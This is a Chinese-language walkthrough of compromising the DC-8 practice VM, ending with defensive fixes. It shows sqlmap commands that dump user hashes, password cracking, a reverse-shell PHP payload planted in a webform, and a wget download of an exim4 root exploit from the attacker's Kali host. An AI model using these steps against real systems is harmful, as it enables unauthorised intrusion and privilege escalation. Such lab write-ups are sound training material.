DC-8渗透测试复现
目的:
获取最高权限以及flag
过程:
信息打点--sql注入- 命令执行反弹shell-exim4提权
环境:
攻击机:kali(192.168.85.137)
靶机:DC_3(192.168.85.140)
复现:
一.信息收集
nmap -sP 192.168.85.0/24
或者:
arp-scan -l
进一步扫描端口 发现22端口和80网页端口开放
登入网站得到cms为D7
AWVS扫描发现sql注入漏洞
二.寻找漏洞以及漏洞利用
我们直接sqlmap一把梭 得到库名
sqlmap -u '192.168.85.140/?nid=1' --batch --current-db
表名
看用户账号密码以及权限
出现blank即是 等级不够 加等级
sqlmap -u '192.168.85.140/?nid=1' --batch --level=5 --risk=5 -D 'd7db' -T 'users' -C'name,pass,uid' -dump
得到用户账号密码
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | 1 |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | 2
有点像hash 解密 抛到在线网站解密失败 那估计就是john解密,将用户的密码保存 然后使用 john password 即可获得密码
turtle 应该是john密码 即 john/turtle
进行ssh连接失败
尝试登陆http://192.168.85.140/user/login
继续摸索发现在WEBFORM处可以编辑并执行PHP代码
上传反弹shell
保存后然后view进行发送 即可反弹shell
交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
在网站数据配置发现了数据库账号密码
登入发现是mariaDB数据库 ,登入进去也没找到什么有用的东西 跟注入的时候得到的数据库一样
三.提权
查看能提权的命令
发现 chfn和exim4提权 查看linux版本为4.9
linux版本为4.9那chfn提权就使用不了了
换 exim4吧 kali直接搜漏洞
把它复制到 网站目录下 然后 www-data那边在/tmp目录下进行下载 当然你可以开启http服务
/tmp
wget 192.168.85.137:80/wenda.sh
下载完之后 查看文件的权限 发现只可读 修改文件权限为www-data可写
然后看sh文件的 使用方法
执行下面命令 (如果提权失败 建议在攻击机的shell脚本里面添加:set ff=unix 因为linux只能执行格式为unix格式的脚本)
./wenda.sh -m netcat
获得root权限以及flag
修复:
1.关闭22ssh连接端口
2.利用参数化的查询阻止 SQL 注入,应用程序开发人员应避免通过转义或删除特殊字符(攻击者可能会利用来绕过此类保护的一些编码技巧)来清理输入内容,并坚持使用参数化查询,以避免出现 SQL 注入漏洞
3.过滤危险命令执行函数 ,客户端提交的变量在进入执行命令函数前要做好过滤和检测。
4.取消能够提取的shell命令